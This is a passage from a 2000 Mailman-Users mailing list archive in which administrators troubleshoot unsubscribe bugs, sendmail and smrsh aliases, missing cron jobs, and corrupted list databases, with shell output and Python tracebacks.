> > Received: from pane.patch.com (HELO uswest.net) (209.180.166.37)
> >   by ptldpop3.ptld.uswest.net with SMTP; 14 Sep 2000 01:12:17 -0000
> > Message-ID: <39C0250D.463761C4 at uswest.net>
> > Date: Wed, 13 Sep 2000 18:08:30 -0700
> > From: Michael Rasmussen <mrasmussen1 at uswest.net>
> > Reply-To: mrasmussen1 at uswest.net
> > X-Mailer: Mozilla 4.7 [en] (Win95; U)
> > X-Accept-Language: en
> > MIME-Version: 1.0
> > To: brewcrew at patch.com
> > Subject: test - delete me
> > Content-Type: text/plain; charset=us-ascii
> > Content-Transfer-Encoding: 7bit
> >
> > bounces go bouncing
> >
> > --
> > Michael Rasmussen - mikeraz at patch.com
> >  Better a brewer than a banker be.
> >  Be appropriate && Follow your curiosity
> >
> >
> >
> >
> > --------------9FCD39C40102033D28BDF27C--
> >
> >
>
>
> --
>
>   Michael Rasmussen - mikeraz at patch.com
>  Be Appropriate && Follow Your Curiosity
>  email to pager:  pagemike at patch.com
>
>
>
>
>    ----------------------------------------------------------------
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
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From chuqui at plaidworks.com  Fri Sep 15 05:32:04 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 14 Sep 2000 20:32:04 -0700
Subject: [Mailman-Users] RE: Unsubscribe bug
In-Reply-To: <200009150244.TAA11749@utopia.west.sun.com>
References: <200009150244.TAA11749@utopia.west.sun.com>
Message-ID: <p04330100b5e7487d5a43@[17.216.27.251]>

At 7:45 PM -0700 9/14/00, Dan Mick wrote:

>"attempt to locate" and "nowhere to be found" need expansion into
>actual commands and techniques.  Please specify.

and a copy of an actual password reminder they got would help.

chances are, they're subscribed under some other address they forgot 
about, and it's probably set to nomail. In fact, they may have set to 
nomail instead of unsubscribe, thinking they were the same.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From albie at alfarrabio.um.geira.pt  Fri Sep 15 11:37:27 2000
From: albie at alfarrabio.um.geira.pt (Alberto Manuel Brandao Simoes)
Date: Fri, 15 Sep 2000 10:37:27 +0100
Subject: [Mailman-Users] Problem with QMAIL and MailMan
Message-ID: <20000915103727.A549@alfarrabio.um.geira.pt>


	Hello!

	I'm having a strange problem. I've installed mailman in my linux box
with qmail. Now, I've used the newlist script to create a mailing list,
but there is no way to receive the mail sent to the list maintainer.

	Please, send a copy of the answer to me, directly... I'm not subscribed
in this mailing list!

	Thanks for all the help!

		Alberto

	

-- 
 Alberto Manuel Brand?o Sim?es                     /\ ||_ o _
 albie at alfarrabio.um.geira.pt                     /--\||_)((/_
 http://numexp.sourceforge.net



From tauren at servlets.net  Fri Sep 15 12:21:33 2000
From: tauren at servlets.net (Tauren Mills)
Date: Fri, 15 Sep 2000 03:21:33 -0700
Subject: [Mailman-Users] RE: Unsubscribe bug
In-Reply-To: <p04330100b5e7487d5a43@[17.216.27.251]>
Message-ID: <NBBBLBKDJMGDNPMDGAABCEDBMOAA.tauren@servlets.net>

Dan and Chuq,

Thanks for the help!  Sorry to not provide you with enough information the
first time.  I didn't go into too much detail because I really thought there
was already a discussion in the past about this problem and that someone
would refer me to it.

Since it looks like this is not the case, I'll give you as much information
as I can...

* I have a customer who has the mailing list opensource at javacorporate.com
with an internal name of "opensource".

* Someone subscribed to their list a while back with the email address of
lynn at icondev.com.  After a while, they unsubscribed to the list.

* The person stopped getting normal mail, but the password reminder is still
being sent to them.  When they attempt to log in to change their
subscription using the web interface, they get an error message:
	Error
	Opensource has no subscribed addr lynn at icondev.com.
This makes sense since they have already unsubscribed. You can try this out
at:
http://www.javacorporate.com/mailman/listinfo/opensource

* When I log into the opensource admin screens and go to membership
management, I cannot find their email address anywhere.

This is as much as I knew when I sent the message to mailman-users
yesterday.  Since then, I've discovered some shell scripts that I had never
used before:

* When I run find_member from the command prompt, I get the following
results:
	[root at s1 bin]# ./find_member lynn at icondev.com
	lynn at icondev.com found in list opensource
This indicates that they ARE still in the list.

* When I run list_members I get the following results:
	[root at s1 bin]# ./list_members -p opensource | grep lynn at icondev.com
	lynn at icondev.com

* Then I saw that there was a remove_members command, so I tried it:
	[root at s1 bin]# ./remove_members opensource lynn at icondev.com
	[root at s1 bin]# ./find_member lynn at icondev.com
	[root at s1 bin]# ./list_members -p opensource | grep lynn at icondev.com
	[root at s1 bin]#

So it looks like the member was finally and actually truly removed.  Let's
hope they don't get another password reminder next month.

They have had at least three list members complain of this problem.  I
deleted the first two without any problems, but when I tried to remove the
third one, the command did not return to the command prompt for a LONG time.
I finally did a ^C to break out and got this response:
	[root at s1 bin]# ./remove_members opensource taa at ix.netcom.com
	Traceback (innermost last):
	  File "./remove_members", line 111, in ?
	    main()
	  File "./remove_members", line 96, in main
	    mlist = MailList.MailList(listname)
	  File "/home/javacorp/.mailman/Mailman/MailList.py", line 62, in __init__
	    self.Load()
	  File "/home/javacorp/.mailman/Mailman/MailList.py", line 804, in Load
	    self.Lock()
	  File "/home/javacorp/.mailman/Mailman/MailList.py", line 1373, in Lock
	    self.__lock.lock()
	  File "/home/javacorp/.mailman/Mailman/LockFile.py", line 252, in lock
	    time.sleep(self.__sleep_interval)
	KeyboardInterrupt

After running find_member again to see if they had been deleted (which they
had not), I ran the command again and let it sit for a while.  This time it
returned properly and find_member could no longer find them.  I'm going to
assume that this problem was just my impatience and the size of the list
(they have almost 1800 members).

But I'm still concerned about the behaviour when unsubscribing from the web
interface.  It does not appear to happen all the time (I actually have not
tested this), but a few people are having problems.  If it is a regular
issue, it is going to look bad for their business.

Do you have any ideas why this might be happening?  Is there something that
can be done to make sure that when a user unsubscribes, EVERYTHING is
removed?

Thanks again for your help!

Tauren



> -----Original Message-----
> From: Chuq Von Rospach [mailto:chuqui at plaidworks.com]
> Sent: Thursday, September 14, 2000 8:32 PM
> To: Dan Mick; mailman-users at python.org; tauren at servlets.net
> Subject: Re: [Mailman-Users] RE: Unsubscribe bug
>
>
> At 7:45 PM -0700 9/14/00, Dan Mick wrote:
>
> >"attempt to locate" and "nowhere to be found" need expansion into
> >actual commands and techniques.  Please specify.
>
> and a copy of an actual password reminder they got would help.
>
> chances are, they're subscribed under some other address they forgot
> about, and it's probably set to nomail. In fact, they may have set to
> nomail instead of unsubscribe, thinking they were the same.
>
> --
> Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
> Apple Mail List Gnome (mailto:chuq at apple.com)
>
> And they sit at the bar and put bread in my jar
> and say 'Man, what are you doing here?'"




From chuqui at plaidworks.com  Fri Sep 15 15:46:13 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Fri, 15 Sep 2000 06:46:13 -0700
Subject: [Mailman-Users] RE: Unsubscribe bug
In-Reply-To: <NBBBLBKDJMGDNPMDGAABCEDBMOAA.tauren@servlets.net>
References: <NBBBLBKDJMGDNPMDGAABCEDBMOAA.tauren@servlets.net>
Message-ID: <p04330109b5e7d8011fc1@[209.239.169.197]>

One other question -- which version of mailman? 1.1? 2.0beta (beta what?)

>
>Do you have any ideas why this might be happening?  Is there something that
>can be done to make sure that when a user unsubscribes, EVERYTHING is
>removed?


I haven't heard of this problem from anyone else. My initial guess is 
there was some confusion over nomail vs. unsubscribe. They thought 
they unsubscribed, but in fact really turned on nomail instead, a 
very different beast. I wonder if there might not have been either a 
subdomaining issue or some unrecognized case sensitivity problem in 
looking up addresses. But that's just guessing.
-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From tim at bookings.nl  Fri Sep 15 17:21:39 2000
From: tim at bookings.nl (tim)
Date: Fri, 15 Sep 2000 17:21:39 +0200
Subject: [Mailman-Users] Installing MailMan on Roxen 1.3
Message-ID: <20000915172139.A20126@bnl20.ten.nl>

hello ...

I'm new to MailMan and new to Roxen. 

I would like to only use Roxen on the box, with MailMan so that the users can
maintain the mailing lists themselves. 

I've tried to get MailMan installed on Roxen, but sadly, I didn't have any success. I
only got an error page that Roxen could find http://server/mailman. 

If anyone has experience here, I would like to know. 

t.

-- 

Buy yourself a computer ... buy yourself frustration




From mau at beatles.cselt.it  Fri Sep 15 18:10:08 2000
From: mau at beatles.cselt.it (Maurizio Codogno)
Date: Fri, 15 Sep 2000 18:10:08 +0200 (MET DST)
Subject: [Mailman-Users] Multilingual mailman?
Message-ID: <200009151610.SAA07729@beatles.cselt.it>

dear all, 

README for Mailman says:

    Mailman-I18N
        An open list for the discussion of the Mailman
        internationalization effort.  Multi-lingual patches are
        available and will be integrated into the standard
        distribution after the 2.0 release.

Where may I find those patches?
ciao, .mau.




From kwythers at forestry.umn.edu  Fri Sep 15 18:26:42 2000
From: kwythers at forestry.umn.edu (Kirk R. Wythers)
Date: Fri, 15 Sep 2000 11:26:42 -0500
Subject: [Mailman-Users] how long for subscribtion to process?
Message-ID: <39C24DC2.33199431@forestry.umn.edu>

I am setting up a new mailman list. I tried subscribing myself to test
it out. I got the confirmation of subscription request in a few seconds.
I tried hitting the reply button, but that was over an hour ago... so
far no confirmation of the subscription. I also tried replying with 
confirm ###### only (per instructions) in the body of the message, but
same story, no confirmation as of yet.

Any ideas?

Kirk

-- 
Kirk R. Wythers					 University of Minnesota
Email: kwythers at forestry.umn.edu       		 Department of Forest Resources 
Tel: 612.625.22611530                 		 Cleveland Ave. N. 
Fax: 612 625.5212                                Saint Paul,  MN 55108



From tim at bookings.nl  Fri Sep 15 18:22:32 2000
From: tim at bookings.nl (tim)
Date: Fri, 15 Sep 2000 18:22:32 +0200
Subject: [Mailman-Users] Installing MailMan on Roxen 1.3
In-Reply-To: <00f401c01f2b$4b2562d0$dd29680a@tgt.com>; from veldy@veldy.net on Fri, Sep 15, 2000 at 10:40:33AM -0500
References: <20000915172139.A20126@bnl20.ten.nl> <00f401c01f2b$4b2562d0$dd29680a@tgt.com>
Message-ID: <20000915182232.A20276@bnl20.ten.nl>

No, I'm not looking for this.

I'm looking to get it going on the webserver itself. 

Once its setup on the webserver, then you can go to http://server/mailman/listinfo. 

first things first.

t.

On Fri, Sep 15, 2000 at 10:40:33AM -0500, Thomas T. Veldhouse wrote:
> Try http://server/mailman/listinfo
> 
> There is not a URL for the mailman base, just the mailman/listinfo and
> mailman/admin.
> 
> Tom Veldhouse
> veldy at veldy.net
> 
> ----- Original Message -----
> From: tim <tim at bookings.nl>
> To: <mailman-users at python.org>
> Sent: Friday, September 15, 2000 10:21 AM
> Subject: [Mailman-Users] Installing MailMan on Roxen 1.3
> 
> 
> >
> > hello ...
> >
> > I'm new to MailMan and new to Roxen.
> >
> > I would like to only use Roxen on the box, with MailMan so that the users
> can
> > maintain the mailing lists themselves.
> >
> > I've tried to get MailMan installed on Roxen, but sadly, I didn't have any
> success. I
> > only got an error page that Roxen could find http://server/mailman.
> >
> > If anyone has experience here, I would like to know.
> >
> > t.
> >
> > --
> >
> > Buy yourself a computer ... buy yourself frustration
> >
> >
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> >
> 

-- 

Buy yourself a computer ... buy yourself frustration




From chuqui at plaidworks.com  Fri Sep 15 18:41:06 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Fri, 15 Sep 2000 09:41:06 -0700
Subject: [Mailman-Users] how long for subscribtion to process?
In-Reply-To: <39C24DC2.33199431@forestry.umn.edu>
References: <39C24DC2.33199431@forestry.umn.edu>
Message-ID: <p04330100b5e8018c6aba@[209.239.169.197]>

At 11:26 AM -0500 9/15/00, Kirk R. Wythers wrote:

>I tried hitting the reply button, but that was over an hour ago... so
>far no confirmation of the subscription. I also tried replying with
>confirm ###### only (per instructions) in the body of the message, but
>same story, no confirmation as of yet.

did you install the crontab entries? Are they working?

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From lra at insite.com.br  Fri Sep 15 18:51:35 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Fri, 15 Sep 2000 13:51:35 -0300 (EST)
Subject: [Mailman-Users] how long for subscribtion to process?
In-Reply-To: <39C24DC2.33199431@forestry.umn.edu>
Message-ID: <Pine.LNX.4.21.0009151350170.18642-100000@fantomas.insite.com.br>

Hi,

On Fri, 15 Sep 2000, Kirk R. Wythers wrote:

> I am setting up a new mailman list. I tried subscribing myself to test
> it out. I got the confirmation of subscription request in a few seconds.
> I tried hitting the reply button, but that was over an hour ago... so
> far no confirmation of the subscription. I also tried replying with 
> confirm ###### only (per instructions) in the body of the message, but
> same story, no confirmation as of yet.
> 
> Any ideas?


Check your mailer logs and Mailman logs. There isn't much we can do
without a minimum of information about what's going on.

Regards, Leo




From kwythers at forestry.umn.edu  Fri Sep 15 19:10:44 2000
From: kwythers at forestry.umn.edu (Kirk R. Wythers)
Date: Fri, 15 Sep 2000 12:10:44 -0500
Subject: [Mailman-Users] additional info (was how long...)
Message-ID: <39C25814.566ED00C@forestry.umn.edu>

I checked the mailman logs. All seems fine with the exception of the log
"subscribe" it reads:
Sep 15 10:25:51 2000 (23139) evolistmn: pending
kwythers at lorax.forestry.umn.edu  128.101.74.47

I asume pending means mailman is waiting for something... Does anyone
know what  it's waiting  for?

Kirk

-- 
Kirk R. Wythers					 University of Minnesota
Email: kwythers at forestry.umn.edu       		 Department of Forest Resources 
Tel: 612.625.22611530                 		 Cleveland Ave. N. 
Fax: 612 625.5212                                Saint Paul,  MN 55108



From pete at partnercomm.com  Fri Sep 15 19:26:45 2000
From: pete at partnercomm.com (Peter Murray)
Date: Fri, 15 Sep 2000 13:26:45 -0400 (EDT)
Subject: [Mailman-Users] admin queue problem....
Message-ID: <Pine.LNX.4.10.10009142006200.9505-100000@expedite.ravedata.com>

I didn't find any discussion of a problem like this, but let me know if
this has already been discussed...

I have a strange problem occuring here, with mailman 2.0 beta 5 under
linux 2.2.12, python 1.5.2.

I can look at all aspects of the database for this fully moderated list,
but if I look at the pending administrative requests, I get the traceback
below. $mailman/bin/check_db says both db and db.last are fine, and a
dumpdb shows what appears to be a perfectly okay list database. It also
appears that inbound messages for this list are also triggering this
traceback message.

Any ideas? All suggestions would be appreciated!


---------------------------------------------------------------------
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  Partner Communications Group, Inc.	888.807.2563
  The Ravedata Project:  	P.O. Box 78 N. Billerica, MA 01862
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-----

Sep 14 20:05:32 2000 admin(9713):
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
admin(9713): [----- Mailman Version: 2.0beta5 -----]
admin(9713): [----- Traceback ------]
admin(9713): Traceback (innermost last):
admin(9713):   File "/home/mailman/scripts/driver", line 96, in run_main
admin(9713):     main()
admin(9713):   File "/home/mailman/Mailman/Cgi/admindb.py", line 93, in
main
admin(9713):     PrintRequests(mlist, doc)
admin(9713):   File "/home/mailman/Mailman/Cgi/admindb.py", line 109, in
PrintRequests
admin(9713):     if not mlist.NumRequestsPending():
admin(9713):   File "/home/mailman/Mailman/ListAdmin.py", line 96, in
NumRequestsPending
admin(9713):     self.__opendb()
admin(9713):   File "/home/mailman/Mailman/ListAdmin.py", line 69, in
__opendb
admin(9713):     self.__db = marshal.load(fp)
admin(9713): EOFError: EOF read where object expected
admin(9713): [----- Python Information -----]
admin(9713): sys.version    = 1.5.2 (#1, Feb  1 2000, 16:32:16)  [GCC
egcs-2.91.66 19990314/Linux (egcs-
admin(9713): sys.executable = /usr/bin/python
admin(9713): sys.prefix     = /usr
admin(9713): sys.exec_prefix= /usr
admin(9713): sys.path       = /usr
admin(9713): sys.platform   = linux-i386
admin(9713): [----- Environment Variables -----]
admin(9713):    DOCUMENT_ROOT: /home/httpd/html
admin(9713):    SERVER_ADDR: 205.147.253.4
admin(9713):    HTTP_ACCEPT_ENCODING: gzip
admin(9713):    SERVER_PORT: 80
admin(9713):    PATH_TRANSLATED: /home/httpd/html/br-info
admin(9713):    REMOTE_ADDR: 24.91.9.228
admin(9713):    SERVER_SOFTWARE: Apache/1.3.12 (Unix)  (Red Hat/Linux)
admin(9713):    GATEWAY_INTERFACE: CGI/1.1
admin(9713):    HTTP_ACCEPT_LANGUAGE: en
admin(9713):    REMOTE_PORT: 38423
admin(9713):    SERVER_NAME: expedite.ravedata.com
admin(9713):    HTTP_CONNECTION: Keep-Alive
admin(9713):    HTTP_USER_AGENT: Mozilla/4.5 [en] (Win98; U)
admin(9713):    HTTP_ACCEPT_CHARSET: iso-8859-1,*,utf-8
admin(9713):    HTTP_ACCEPT: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, image/png, */*
admin(9713):    REQUEST_URI: /mailman/admindb/br-info
admin(9713):    PATH: /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
admin(9713):    QUERY_STRING: 
admin(9713):    SERVER_PROTOCOL: HTTP/1.0
admin(9713):    PATH_INFO: /br-info
admin(9713):    HTTP_HOST: lists.ravedata.com
admin(9713):    REQUEST_METHOD: GET
admin(9713):    SERVER_SIGNATURE: <ADDRESS>Apache/1.3.12 Server at
expedite.ravedata.com Port 80</ADDRESS>

admin(9713):    SCRIPT_NAME: /mailman/admindb
admin(9713):    SERVER_ADMIN: root at localhost
admin(9713):    SCRIPT_FILENAME: /home/mailman/cgi-bin/admindb
admin(9713):    PYTHONPATH: /home/mailman
admin(9713):    HTTP_COOKIE:
br-info:admin=2802000000693c66c139732800000034376462363166383563393564653038393335353638353931663661326635323365333865393264;
boston-raves:admin=280200000069304fc139732800000066326631303863353566343636393636306433303061663934303634613962366230643466373139

Sep 15 13:24:20 2000 (26514) Delivery exception: EOF read where object
expected
Sep 15 13:24:20 2000 (26514) Traceback (innermost last):
  File "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 82, in
do_pipeline
    func(mlist, msg, msgdata)
  File "/home/mailman/Mailman/Handlers/Hold.py", line 135, in process
    hold_for_approval(mlist, msg, msgdata, ModeratedPost)
  File "/home/mailman/Mailman/Handlers/Hold.py", line 218, in
hold_for_approval
    mlist.HoldMessage(msg, reason, msgdata)
  File "/home/mailman/Mailman/ListAdmin.py", line 144, in HoldMessage
    self.__opendb()
  File "/home/mailman/Mailman/ListAdmin.py", line 69, in __opendb
    self.__db = marshal.load(fp)
EOFError: EOF read where object expected




From tauren at servlets.net  Fri Sep 15 19:39:01 2000
From: tauren at servlets.net (Tauren Mills)
Date: Fri, 15 Sep 2000 10:39:01 -0700
Subject: [Mailman-Users] RE: Unsubscribe bug
In-Reply-To: <p04330109b5e7d8011fc1@[209.239.169.197]>
Message-ID: <NBBBLBKDJMGDNPMDGAABAEDOMOAA.tauren@servlets.net>

I believe it is version 1.1, but I'm not positive.  I know it is not a 2.0
beta.  It could be 1.0 since it was installed some time ago.

How can I check to see what version it is?

Also, I just want to make sure that you understand that the web interface
would not let them log in, reporting that there was no member with their
address.  The admin interface also reported no members with that address.
If the user had simply changed to "nomail" instead of "unsubscribe", then
they would still be able to get into the management web page and they would
display in the admin interface as well.  Isn't this correct?

Thanks again!  Any further thoughts on what might be causing the problem
would be much appreciated.

Tauren


> -----Original Message-----
> From: Chuq Von Rospach [mailto:chuqui at plaidworks.com]
> Sent: Friday, September 15, 2000 6:46 AM
> To: Tauren Mills; Chuq Von Rospach; Dan Mick; mailman-users at python.org
> Subject: RE: [Mailman-Users] RE: Unsubscribe bug
>
>
> One other question -- which version of mailman? 1.1? 2.0beta (beta what?)
>
> >
> >Do you have any ideas why this might be happening?  Is there
> something that
> >can be done to make sure that when a user unsubscribes, EVERYTHING is
> >removed?
>
>
> I haven't heard of this problem from anyone else. My initial guess is
> there was some confusion over nomail vs. unsubscribe. They thought
> they unsubscribed, but in fact really turned on nomail instead, a
> very different beast. I wonder if there might not have been either a
> subdomaining issue or some unrecognized case sensitivity problem in
> looking up addresses. But that's just guessing.
> --
> Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
> Apple Mail List Gnome (mailto:chuq at apple.com)
>
> And they sit at the bar and put bread in my jar
> and say 'Man, what are you doing here?'"




From chuqui at plaidworks.com  Fri Sep 15 19:44:07 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Fri, 15 Sep 2000 10:44:07 -0700
Subject: [Mailman-Users] RE: Unsubscribe bug
In-Reply-To: <NBBBLBKDJMGDNPMDGAABAEDOMOAA.tauren@servlets.net>
References: <NBBBLBKDJMGDNPMDGAABAEDOMOAA.tauren@servlets.net>
Message-ID: <p04330106b5e81017d584@[17.216.27.251]>

At 10:39 AM -0700 9/15/00, Tauren Mills wrote:
>I believe it is version 1.1, but I'm not positive.  I know it is not a 2.0
>beta.  It could be 1.0 since it was installed some time ago.


Unfortunately, there have been so many changes that by now, the first 
comment on ANY 1.x release is "upgrade and see if it's still broken".

it could well be a database issue, or a case-sensitivity problem 
(Fred@ != fred@), but I really can't say, not with a 1.x release.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From tauren at servlets.net  Fri Sep 15 19:53:03 2000
From: tauren at servlets.net (Tauren Mills)
Date: Fri, 15 Sep 2000 10:53:03 -0700
Subject: [Mailman-Users] RE: Unsubscribe bug
In-Reply-To: <p04330106b5e81017d584@[17.216.27.251]>
Message-ID: <NBBBLBKDJMGDNPMDGAABEEDPMOAA.tauren@servlets.net>

OK, that makes sense.  However, our policy is to not offer beta software as
a service.  We've been holding off upgrading anything until there was a
final release.  How confident are you in the stability and lack of security
problems of the current beta version?

Also, do you know of any information, tutorials, or step-by-step processes
on how to best upgrade from 1.1 to 2.0?

Thanks!
Tauren


> -----Original Message-----
> From: Chuq Von Rospach [mailto:chuqui at plaidworks.com]
> Sent: Friday, September 15, 2000 10:44 AM
> To: Tauren Mills; Chuq Von Rospach; Dan Mick; mailman-users at python.org
> Subject: RE: [Mailman-Users] RE: Unsubscribe bug
>
>
> At 10:39 AM -0700 9/15/00, Tauren Mills wrote:
> >I believe it is version 1.1, but I'm not positive.  I know it is
> not a 2.0
> >beta.  It could be 1.0 since it was installed some time ago.
>
>
> Unfortunately, there have been so many changes that by now, the first
> comment on ANY 1.x release is "upgrade and see if it's still broken".
>
> it could well be a database issue, or a case-sensitivity problem
> (Fred@ != fred@), but I really can't say, not with a 1.x release.
>
> --
> Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
> Apple Mail List Gnome (mailto:chuq at apple.com)
>
> And they sit at the bar and put bread in my jar
> and say 'Man, what are you doing here?'"




From chuqui at plaidworks.com  Fri Sep 15 20:03:45 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Fri, 15 Sep 2000 11:03:45 -0700
Subject: [Mailman-Users] RE: Unsubscribe bug
In-Reply-To: <NBBBLBKDJMGDNPMDGAABEEDPMOAA.tauren@servlets.net>
References: <NBBBLBKDJMGDNPMDGAABEEDPMOAA.tauren@servlets.net>
Message-ID: <p0433010bb5e814e9f7f9@[17.216.27.251]>

At 10:53 AM -0700 9/15/00, Tauren Mills wrote:
>OK, that makes sense.  However, our policy is to not offer beta software as
>a service.  We've been holding off upgrading anything until there was a
>final release.  How confident are you in the stability and lack of security
>problems of the current beta version?

I'm running beta5 in production fine. I find it very stable.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From GLeblanc at cu-portland.edu  Fri Sep 15 20:14:21 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Fri, 15 Sep 2000 11:14:21 -0700
Subject: [Mailman-Users] subscription results webpage
Message-ID: <025836EFF856D411A6660090272811E61D0724@EMAIL>

I think I've uncovered a bug with that page, and I've certainly found
another activity that I'd like to see changed.  The bug appears when you try
to subscribe and mis-type your email address.  It appears to loop over the
footer 3 times, and does a few other strange things.  Perhaps somebody who
knows more can take a look, or I can send a copy of the page that I get.  
The second "issue" is with entering an invalid email address.  I did this by
accident (I just put in gleblanc instead of my whole email address) while
testing a list.  The next page, at a quick glance, looks exactly like the
page for a successful subscription.  It would be nice to emphasize that it's
an error page, either through a small graphic, or colored text, or
something.  Thought?  Thanks,
	Greg



From kevin at maxson.com  Fri Sep 15 21:35:38 2000
From: kevin at maxson.com (Kevin of Thornbury)
Date: Fri, 15 Sep 2000 15:35:38 -0400
Subject: [Mailman-Users] Bad marshal data??
References: <20000905223610.C16120@thies.org>
Message-ID: <39C27A0A.E0D28A66@maxson.com>

Surely someone's seen this before - another person asked about this and
got no response.  Is this a bug, something there's no answer to?  I get
these cron messages at least once a day.

(Mailman 2.0 beta 5, RedHat Linux 6.1)

Traceback (innermost last):
  File "/home/mailman/cron/qrunner", line 85, in ?
    from Mailman import MailList
  File "/home/mailman/Mailman/MailList.py", line 42, in ?
    from Mailman.HTMLFormatter import HTMLFormatter 
  File "/home/mailman/Mailman/HTMLFormatter.py", line 27, in ?
    from htmlformat import *
ValueError: bad marshal data
_____
|_|_|  Kevin Maxson     (Lord Kevin of Thornbury)
| | |  Electronic Publications Manager, SCA, Inc.
 \|/   kevin at maxson.com       http://www.sca.org



From jcoyne at software.umn.edu  Fri Sep 15 23:45:42 2000
From: jcoyne at software.umn.edu (Justin Coyne)
Date: Fri, 15 Sep 2000 16:45:42 -0500 (CDT)
Subject: [Mailman-Users] Newbie question. Mailman not posting.
In-Reply-To: <20000915212902.904DC1CD47@dinsdale.python.org>
Message-ID: <Pine.LNX.4.21.0009151640050.498-100000@sevengill.jaws.umn.edu>

I've set up mailman to work with sendmail. I've subscribed users and sent
a message as a user to the list. The sendmail logs show the message was
recieved and passed on to the mailman wrapper script.

Sep 15 15:58:26 sendmail[3052]: PAA03051: to="|/home/mailman/mail/wrapper 
post amnesty", delay=00:00:03, xdelay=00:00:02, mailer=prog, stat=SentA

Mailman doesn't log recieving the message, and it is not sent out to the
list. There is nothing reported in any of the mailman log files. Any ideas
as to what my problem could be?

Justin Coyne <jcoyne at software.umn.edu>

"I believe there are more instances of the abridgment of the freedom of
the people by gradual and silent encroachments of those in power than by
violent and sudden usurpations." - James Madison





From Dan.Mick at West.Sun.COM  Sat Sep 16 00:20:25 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Fri, 15 Sep 2000 15:20:25 -0700 (PDT)
Subject: [Mailman-Users] Newbie question. Mailman not posting.
Message-ID: <200009152219.PAA08909@utopia.west.sun.com>

'cron' doesn't appear in your message.  That's a big hint.

> I've set up mailman to work with sendmail. I've subscribed users and sent
> a message as a user to the list. The sendmail logs show the message was
> recieved and passed on to the mailman wrapper script.
> 
> Sep 15 15:58:26 sendmail[3052]: PAA03051: to="|/home/mailman/mail/wrapper 
> post amnesty", delay=00:00:03, xdelay=00:00:02, mailer=prog, stat=SentA
> 
> Mailman doesn't log recieving the message, and it is not sent out to the
> list. There is nothing reported in any of the mailman log files. Any ideas
> as to what my problem could be?
> 
> Justin Coyne <jcoyne at software.umn.edu>
> 
> "I believe there are more instances of the abridgment of the freedom of
> the people by gradual and silent encroachments of those in power than by
> violent and sudden usurpations." - James Madison
> 
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users





From jcoyne at software.umn.edu  Sat Sep 16 00:13:02 2000
From: jcoyne at software.umn.edu (Justin Coyne)
Date: Fri, 15 Sep 2000 17:13:02 -0500 (CDT)
Subject: [Mailman-Users] Newbie question. Mailman not posting.
In-Reply-To: <Pine.LNX.4.21.0009151640050.498-100000@sevengill.jaws.umn.edu>
Message-ID: <Pine.LNX.4.21.0009151702500.498-100000@sevengill.jaws.umn.edu>

After further inspection, I suspect the problem has something to do with
smrsh. The mailman documentation says to enter the alias 

listname:	"|/home/mailman/mail/wrapper post listname"

in /etc/aliases, however the smrsh documentation says it will not execute
aliases with  '|' symbols. Removing the '|' and running newaliases and
then resending the message really messes with sendmail. I get the
following error messages:

Sep 15 16:23:13 digger.sigfs.org
sendmail[3251]: QAA03250: to="/home/mailman/mail/wrapper post amnesty",
ctladdr=<amnesty at digger.sigfs.org>, delay=00:00:00, mailer=*file*,
stat=Can't create output: Permission denied

Sep 15 16:23:13 digger.sigfs.org 
sendmail[3251]: QAA03250: QAA03251: DSN: Can't create output: Permission
denied

Sep 15 16:23:14 digger.sigfs.org
sendmail[3251]: QAA03251: to=<digga at citilink.com>, delay=00:00:01,
xdelay=00:00:01, mailer=esmtp, relay=mail.citilink.com. [209.98.8.5],
stat=Sent (RAA29639 Message accepted for delivery)

Sep 15 16:23:14 digger.sigfs.org
sendmail[3251]: QAA03250: QAB03251: postmaster notify: Can't create
output: Permission denied

Sep 15 16:23:14 digger.sigfs.org sendmail[3251]: QAB03251: to=root,
delay=00:00:00, xdelay=00:00:00, mailer=local, stat=Sent


-Justin


On Fri, 15 Sep 2000, Justin Coyne wrote:

> I've set up mailman to work with sendmail. I've subscribed users and sent
> a message as a user to the list. The sendmail logs show the message was
> recieved and passed on to the mailman wrapper script.
> 
> Sep 15 15:58:26 sendmail[3052]: PAA03051: to="|/home/mailman/mail/wrapper 
> post amnesty", delay=00:00:03, xdelay=00:00:02, mailer=prog, stat=SentA
> 
> Mailman doesn't log recieving the message, and it is not sent out to the
> list. There is nothing reported in any of the mailman log files. Any ideas
> as to what my problem could be?
> 
